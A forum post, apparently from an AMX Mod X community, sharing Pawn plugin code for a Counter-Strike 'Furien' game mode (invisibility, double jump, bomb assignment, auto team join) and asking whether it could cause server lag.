g_szPlayerModels, g_szPlayerModels); if(file_exists(szFileName)) precache_model(szFileName); else { new szError[64]; formatex(szError, charsmax(szError), "Missing file [%s]",szFileName); set_fail_state(szError); } } */ } public Message_ScoreAttrib() { new iFlags = get_msg_arg_int(2) if( iFlags & SCOREATTRIB_BOMB && !g_bCanPlant) { iFlags &= ~SCOREATTRIB_BOMB set_msg_arg_int(2, 0, iFlags) } } public client_connect(id) { g_iJumpNum[id] = 0; g_bDoJump[id] = false } public client_disconnect(id) remove_task(id+TASKHP); public Player_ResetMaxSpeed(id) { if( is_user_alive(id) && get_user_team(id) == 1 && get_user_maxspeed(id) != 1.0) set_pev(id, pev_maxspeed, g_flMaxSpeed) } public CWeaponBox_Touch(iWeaponBox, id) { if(is_user_connected(id)) { if(!is_user_alive(id)) return HAM_SUPERCEDE if(IsWeaponBoxC4(iWeaponBox)) return HAM_IGNORED if(!g_iPickUp) { remove_entity(iWeaponBox) return HAM_SUPERCEDE } new iTeam = get_user_team(id) if((iTeam == 1 && g_iPickUp != 1) || (iTeam == 2 && g_iPickUp != 2)) { return HAM_SUPERCEDE } } return HAM_IGNORED } public GroundWeapon_Touch(iWeapon, id) { if(is_user_connected(id)) { if( !g_iPickUp ) { remove_entity(iWeapon) return HAM_SUPERCEDE } if( !is_user_alive(id) ) return HAM_SUPERCEDE new iTeam = get_user_team(id) if((iTeam == 1 && g_iPickUp != 1) || (iTeam == 2 && g_iPickUp != 2)) { return HAM_SUPERCEDE } } return HAM_IGNORED } public Set_Furiens_Visibility( iEnt ) { entity_set_float(iEnt, EV_FL_nextthink, get_gametime() + 0.1) new iPlayers[32], iNum, id, Float:fVecVelocity[3], iSpeed get_players(iPlayers, iNum, "ae", "TERRORIST") for(new i; i<iNum; i++) { id = iPlayers[i] if( get_user_weapon(id) == CSW_KNIFE ) { entity_get_vector(id, EV_VEC_velocity, fVecVelocity) iSpeed = floatround( vector_length(fVecVelocity) ) if( iSpeed < g_iInvisFactor*255 ) set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, iSpeed/g_iInvisFactor) else set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } else set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } public disable_buyzone() { new ent = find_ent_by_class(-1,"info_map_parameters"); if(!ent) ent = create_entity("info_map_parameters"); DispatchKeyValue(ent,"buying","3"); DispatchSpawn(ent); } /** ----------------------- **/ public hamPlayerSpawn(id) { if(!is_user_alive(id)) return; switch(get_user_team(id)) { case 1: { //cs_reset_user_model(id) //cs_set_user_model(id, g_szPlayerModels[0]); set_user_gravity(id, g_flFurienGravity); set_user_footsteps(id, 1); } case 2: { //cs_reset_user_model(id) //cs_set_user_model(id, g_szPlayerModels[1]); set_user_footsteps(id, 0); set_user_gravity(id, 1.0); } } set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } /** ----------------------- **/ public ev_CounterWin() { new iPlayers[32], iNum; get_players( iPlayers, iNum, "ch" ); if( iNum ) { new id; for( --iNum; iNum >= 0; iNum-- ) { id = iPlayers[ iNum ]; if( is_user_connected( id ) ) { BeginDelayedTeamChange( id ); } } } } public BeginDelayedTeamChange(id) { switch(id) { case 1..6: set_task( 0.1, "ChangeUserTeamWithDelay",id+SWITCH_TASK); case 7..13: set_task( 0.2, "ChangeUserTeamWithDelay",id+SWITCH_TASK); case 14..20: set_task( 0.3, "ChangeUserTeamWithDelay",id+SWITCH_TASK); case 21..26: set_task( 0.4, "ChangeUserTeamWithDelay",id+SWITCH_TASK); case 27..32: set_task( 0.5, "ChangeUserTeamWithDelay",id+SWITCH_TASK); } } public ChangeUserTeamWithDelay(id) { id -= SWITCH_TASK; if(!is_user_connected(id)) return 1; switch(cs_get_user_team(id)) { case CS_TEAM_T: cs_set_user_team( id, CS_TEAM_CT ); case CS_TEAM_CT: cs_set_user_team( id, CS_TEAM_T ); } return 0; } /** ----------------------- **/ public evRoundStart() { g_bCanPlant = false; remove_task(TASK_BOMB); new Float: flTime = get_cvar_num( "mp_freezetime" ) + ( get_cvar_num( "mp_roundtime" ) * 60 ) - 30.0; set_task( flTime, "taskGiveBomb", TASK_BOMB ); } public taskGiveBomb() { new id = GetRandomPlayer("ae", "TERRORIST"); if(!id) return; give_item(id, "weapon_c4"); SetBombSites(true); cs_set_user_plant(id, 1, 1); new szName[32]; get_user_name(id, szName, 31); g_bCanPlant = true; } public LogEvent_PlayerSpawnWithBomb(id) { new id = get_loguser_index(); if (user_has_weapon(id, CSW_C4)) { engclient_cmd(id, "weapon_c4") cs_set_user_bpammo(id, CSW_C4, 0) engclient_cmd(id, "lastinv") message_begin(MSG_ONE, get_user_msgid("StatusIcon"), _, id) write_byte(0) write_string("c4") message_end() SetBombSites(false); cs_set_user_plant(id, 0, 0); } } /** ----------------------- **/ public client_PreThink(id) { if(!is_user_alive(id)) return; new Float:fallspeed = 100.0 * -1.0 new button = get_user_button(id) if(button & IN_USE && get_user_team(id) == 2) { new Float:velocity[3] entity_get_vector(id, EV_VEC_velocity, velocity) if (velocity[2] < 0.0) { entity_set_int(id, EV_INT_sequence, 3) entity_set_int(id, EV_INT_gaitsequence, 1) entity_set_float(id, EV_FL_frame, 1.0) entity_set_float(id, EV_FL_framerate, 1.0) velocity[2] = (velocity[2] + 40.0 < fallspeed) ? velocity[2] + 40.0 : fallspeed entity_set_vector(id, EV_VEC_velocity, velocity) } } new nbut = get_user_button(id) new obut = get_user_oldbutton(id) if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP)) { if(g_iJumpNum[id] < 1) { g_bDoJump[id] = true g_iJumpNum[id]++ } } if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND)) { g_iJumpNum[id] = 0 } } public client_PostThink(id) { if(!is_user_alive(id)) return; if(g_bDoJump[id]) { new Float:velocity[3] entity_get_vector(id,EV_VEC_velocity,velocity) velocity[2] = random_float(265.0,285.0) entity_set_vector(id,EV_VEC_velocity,velocity) g_bDoJump[id] = false } } /** ----------------------- **/ public fwdPlayerPreThink( id ) { if(is_user_alive(id)) { new target, body; get_user_aiming(id, target, body, 9999); new CsTeams:team = cs_get_user_team(id); if(is_user_alive(target)) { new CsTeams:targetTeam = cs_get_user_team(target); new sName[32]; get_user_name(target,sName,31); new sMessage[ 64 ]; if(targetTeam == team) formatex( sMessage, charsmax(sMessage), "%s Health: %i", sName, get_user_health( target ) ); else if( targetTeam != team && team != CS_TEAM_CT ) formatex( sMessage, sizeof ( sMessage ) -1, "%s Health: %i", sName, get_user_health( target ) ); if( targetTeam == CS_TEAM_CT ) set_hudmessage( 0, 63, 127, -1.0, -1.0, 0, 0.0, 0.1, 0.0, 0.0, -1 ); else if( targetTeam == CS_TEAM_T ) set_hudmessage( 127, 0, 0, -1.0, -1.0, 0, 0.0, 0.1, 0.0, 0.0, -1 ); show_hudmessage( id, "%s", sMessage ); } } return FMRES_IGNORED; } /** ----------------------- **/ public message_show_menu(msgid, dest, id) { if (!should_autojoin(id)) return PLUGIN_CONTINUE static team_select[] = "#Team_Select" static menu_text_code[sizeof team_select] get_msg_arg_string(4, menu_text_code, sizeof menu_text_code - 1) if (!equal(menu_text_code, team_select)) return PLUGIN_CONTINUE set_force_team_join_task(id, msgid) return PLUGIN_HANDLED } public message_vgui_menu(msgid, dest, id) { if (get_msg_arg_int(1) != 2 || !should_autojoin(id)) return PLUGIN_CONTINUE set_force_team_join_task(id, msgid) return PLUGIN_HANDLED } /** ----------------------- **/ public HamTakeDamage(id, iInflictor, iAttacker, Float: flDamage, iDamageBits) { if( iDamageBits & DMG_BLAST ) return HAM_SUPERCEDE; return HAM_IGNORED; } /** ----------------------- **/ public GameDesc() { forward_return(FMV_STRING, "Furien by Ghimpe" ); return FMRES_SUPERCEDE; } /** ----------------------- **/ public join_team() { new id = read_data(1); static jucator[32]; read_data(2, jucator, 31); if(!is_user_connected(id)) return PLUGIN_CONTINUE ; switch(jucator[0]) { case 'C': { register_clcmd("jointeam","cmd_block"); register_clcmd("jointeam 1","cmd_block"); register_clcmd("jointeam 5","cmd_block"); } case 'T': { register_clcmd("jointeam","cmd_block"); register_clcmd("jointeam 1","cmd_block"); register_clcmd("jointeam 5","cmd_block"); } case 'S': { register_clcmd("jointeam","cmd_block"); register_clcmd("jointeam 1","cmd_block"); register_clcmd("jointeam 5","cmd_block"); } } return PLUGIN_CONTINUE; } public cmd_block(id) return PLUGIN_HANDLED; /** ----------------------- **/ bool:should_autojoin(id) { return (!get_user_team(id) && !task_exists(id)) } set_force_team_join_task(id, menu_msgid) { static param_menu_msgid[2] param_menu_msgid[0] = menu_msgid set_task(0.1, "task_force_team_join", id, param_menu_msgid, sizeof param_menu_msgid) } public task_force_team_join(menu_msgid[], id) { if (get_user_team(id)) return force_team_join(id, menu_msgid[0], "5","5") } stock force_team_join(id, menu_msgid, /* const */ team[] = "5", /* const */ class[] = "0") { static jointeam[] = "jointeam" if (class[0] == '0') { engclient_cmd(id, jointeam, team) return } static msg_block, joinclass[] = "joinclass" msg_block = get_msg_block(menu_msgid) set_msg_block(menu_msgid, BLOCK_SET) engclient_cmd(id, jointeam, team) engclient_cmd(id, joinclass, class) set_msg_block(menu_msgid, msg_block) } /** ----------------------- **/ stock GetRandomPlayer( const flags[ ] = "", const team[ ]= "" ) { new iPlayers[ 32 ], iNum; get_players( iPlayers, iNum, flags, team ); return iNum ? iPlayers[ random_num( 0, iNum - 1 ) ] : 0; } stock get_loguser_index() { new loguser[80], name[32] read_logargv(0, loguser, 79) parse_loguser(loguser, name, 31) return get_user_index(name) } SetBombSites( bool:bActive ) { new iEnt = -1 while( (iEnt = find_ent_by_class(iEnt, "func_bomb_target")) > 0 ) { entity_set_int(iEnt, EV_INT_solid, bActive ? SOLID_TRIGGER : SOLID_NOT) } while( (iEnt = find_ent_by_class(iEnt, "info_bomb_target")) > 0 ) { entity_set_int(iEnt, EV_INT_solid, bActive ? SOLID_TRIGGER : SOLID_NOT) } } And one question , do you think that base can make lag on server? Przeczytaj cały wpis
×
×
  • Dodaj nową pozycję...